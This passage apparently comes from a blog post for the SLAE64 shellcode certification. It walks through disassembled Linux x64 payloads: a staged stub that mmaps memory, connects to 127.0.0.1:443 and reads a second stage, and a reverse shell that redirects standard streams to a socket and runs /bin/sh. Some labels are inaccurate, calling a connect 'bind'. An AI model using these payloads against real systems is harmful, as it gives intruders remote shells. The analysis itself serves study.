0x40007f        mov    $0x10,%dh
0x400081        mov    %rdx,%rsi
0x400084        xor    %r9,%r9
0x400087        pushq  $0x22
0x400089        pop    %r10
0x40008b        mov    $0x7,%dl
0x40008d        syscall   

Register values: rax - 0x9, rsi - 0x1000, r10 - 0x22, rdx - 0x1007
sys_mmap call to allocate memory for the second stage payload


0x40008f        test   %rax,%rax
0x400092        js     0x4000ef
0x400094        pushq  $0xa
0x400096        pop    %r9
0x400098        push   %rsi
0x400099        push   %rax
0x40009a        pushq  $0x29
0x40009c        pop    %rax
0x40009d        cltd
0x40009e        pushq  $0x2
0x4000a0        pop    %rdi
0x4000a1        pushq  $0x1
0x4000a3        pop    %rsi
0x4000a4        syscall

Register values: rax - 0x29, rcx - 0x40008f, rsi - 0x1, r10 - 0x22, rdi - 0x2, r9 - 0xa, r11 - 0x346   
sys_socket call to create a socket to bind to


0x4000a6        test   %rax,%rax 
0x4000a9        js     0x4000ef
0x4000ab        xchg   %rax,%rdi
0x4000ad        movabs $0x100007fbb010002,%rcx
0x4000b7        push   %rcx
0x4000b8        mov    %rsp,%rsi
0x4000bb        pushq  $0x10
0x4000bd        pop    %rdx
0x4000be        pushq  $0x2a
0x4000c0        pop    %rax
0x4000c1        syscall

Register values: rax - 0x2a, r10 - 0x22, rdx - 0x10, rdi - 0x3, r11 - 0x306   
sys_connect call to bind to 127.0.0.1:443
0x100007f - 127.0.0.1
0xbb01 - 443


0x4000c3        test   %rax,%rax
0x4000c6        jns    0x4000e3
0x4000c8        dec    %r9
0x4000cb        je     0x4000ef
0x4000cd        pushq  $0x23
0x4000cf        pop    %rax
0x4000d0        pushq  $0x0
0x4000d2        pushq  $0x5
0x4000d4        mov    %rsp,%rdi
0x4000d7        xor    %rsi,%rsi
0x4000da        syscall

Register values: rax - 0x0, rcx - 0x100007fbb010002, r10 - 0x22, rdx - 0x1000, r9 - 0x9, r11 - 0x306
sys_read to read second stage payload and write to allocated memory address at rcx.

I was not able to proceed further without the correct payload, however I believe the next step would be to jump to second stage 
payload for execution.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt; 1&lt;/span&gt;
&lt;span class="normal"&gt; 2&lt;/span&gt;
&lt;span class="normal"&gt; 3&lt;/span&gt;
&lt;span class="normal"&gt; 4&lt;/span&gt;
&lt;span class="normal"&gt; 5&lt;/span&gt;
&lt;span class="normal"&gt; 6&lt;/span&gt;
&lt;span class="normal"&gt; 7&lt;/span&gt;
&lt;span class="normal"&gt; 8&lt;/span&gt;
&lt;span class="normal"&gt; 9&lt;/span&gt;
&lt;span class="normal"&gt;10&lt;/span&gt;
&lt;span class="normal"&gt;11&lt;/span&gt;
&lt;span class="normal"&gt;12&lt;/span&gt;
&lt;span class="normal"&gt;13&lt;/span&gt;
&lt;span class="normal"&gt;14&lt;/span&gt;
&lt;span class="normal"&gt;15&lt;/span&gt;
&lt;span class="normal"&gt;16&lt;/span&gt;
&lt;span class="normal"&gt;17&lt;/span&gt;
&lt;span class="normal"&gt;18&lt;/span&gt;
&lt;span class="normal"&gt;19&lt;/span&gt;
&lt;span class="normal"&gt;20&lt;/span&gt;
&lt;span class="normal"&gt;21&lt;/span&gt;
&lt;span class="normal"&gt;22&lt;/span&gt;
&lt;span class="normal"&gt;23&lt;/span&gt;
&lt;span class="normal"&gt;24&lt;/span&gt;
&lt;span class="normal"&gt;25&lt;/span&gt;
&lt;span class="normal"&gt;26&lt;/span&gt;
&lt;span class="normal"&gt;27&lt;/span&gt;
&lt;span class="normal"&gt;28&lt;/span&gt;
&lt;span class="normal"&gt;29&lt;/span&gt;
&lt;span class="normal"&gt;30&lt;/span&gt;
&lt;span class="normal"&gt;31&lt;/span&gt;
&lt;span class="normal"&gt;32&lt;/span&gt;
&lt;span class="normal"&gt;33&lt;/span&gt;
&lt;span class="normal"&gt;34&lt;/span&gt;
&lt;span class="normal"&gt;35&lt;/span&gt;
&lt;span class="normal"&gt;36&lt;/span&gt;
&lt;span class="normal"&gt;37&lt;/span&gt;
&lt;span class="normal"&gt;38&lt;/span&gt;
&lt;span class="normal"&gt;39&lt;/span&gt;
&lt;span class="normal"&gt;40&lt;/span&gt;
&lt;span class="normal"&gt;41&lt;/span&gt;
&lt;span class="normal"&gt;42&lt;/span&gt;
&lt;span class="normal"&gt;43&lt;/span&gt;
&lt;span class="normal"&gt;44&lt;/span&gt;
&lt;span class="normal"&gt;45&lt;/span&gt;
&lt;span class="normal"&gt;46&lt;/span&gt;
&lt;span class="normal"&gt;47&lt;/span&gt;
&lt;span class="normal"&gt;48&lt;/span&gt;
&lt;span class="normal"&gt;49&lt;/span&gt;
&lt;span class="normal"&gt;50&lt;/span&gt;
&lt;span class="normal"&gt;51&lt;/span&gt;
&lt;span class="normal"&gt;52&lt;/span&gt;
&lt;span class="normal"&gt;53&lt;/span&gt;
&lt;span class="normal"&gt;54&lt;/span&gt;
&lt;span class="normal"&gt;55&lt;/span&gt;
&lt;span class="normal"&gt;56&lt;/span&gt;
&lt;span class="normal"&gt;57&lt;/span&gt;
&lt;span class="normal"&gt;58&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;linux/x64/shell_bind_tcp payload

0x400078        pushq  $0x29
0x40007a        pop    %rax
0x40007b        cltd
0x40007c        pushq  $0x2
0x40007e        pop    %rdi
0x40007f        pushq  $0x1
0x400081        pop    %rsi
0x400082        syscall

Register values: rax - 0x29, rsi - 0x1
sys_socket call to create a socket to bind to


0x400084        xchg   %rax,%rdi
0x400086        movabs $0x100007fbb010002,%rcx
0x400090        push   %rcx
0x400091        mov    %rsp,%rsi
0x400094        pushq  $0x10
0x400096        pop    %rdx
0x400097        pushq  $0x2a
0x400099        pop    %rax
0x40009a        syscall

Register values: rax - 0x2a, rcx - 0x100007fbb010002, rdx - 0x10, rdi - 0x3, r11 - 0x302 
sys_connect call to bind to 127.0.0.1:443
0x100007f - 127.0.0.1
0xbb01 - 443   


0x40009c        pushq  $0x3
0x40009e        pop    %rsi
0x40009f        dec    %rsi
0x4000a2        pushq  $0x21
0x4000a4        pop    %rax
0x4000a5        syscall
0x4000a7        jne    0x40009f

Register values: rax - 0x21, rsi - 0x3 , 1 , 0, rdx - 0x10, rdi - 0x3, r11 - 0x302   
sys_dup2 to redirect STDOUT, STDIN, STDERR to socket. JNE will jump 3 times, till rsi = 0x0


0x4000a9        pushq  $0x3b
0x4000ab        pop    %rax
0x4000ac        cltd
0x4000ad        movabs $0x68732f6e69622f,%rbx
0x4000b7        push   %rbx
0x4000b8        mov    %rsp,%rdi
0x4000bb        push   %rdx
0x4000bc        push   %rdi
0x4000bd        mov    %rsp,%rsi
0x4000c0        syscall

Register values: rax - 0x3b , rbx - 0x68732f6e69622f

sys_execve call to /bin/sh
0x68732f6e69622f - /bin/sh
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;This blog post has (not) been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:&lt;/p&gt;
&lt;p&gt;Student ID: SLAE64-XXXXX&lt;/p&gt;</content><category term="articles"></category><category term="Security"></category></entry></feed>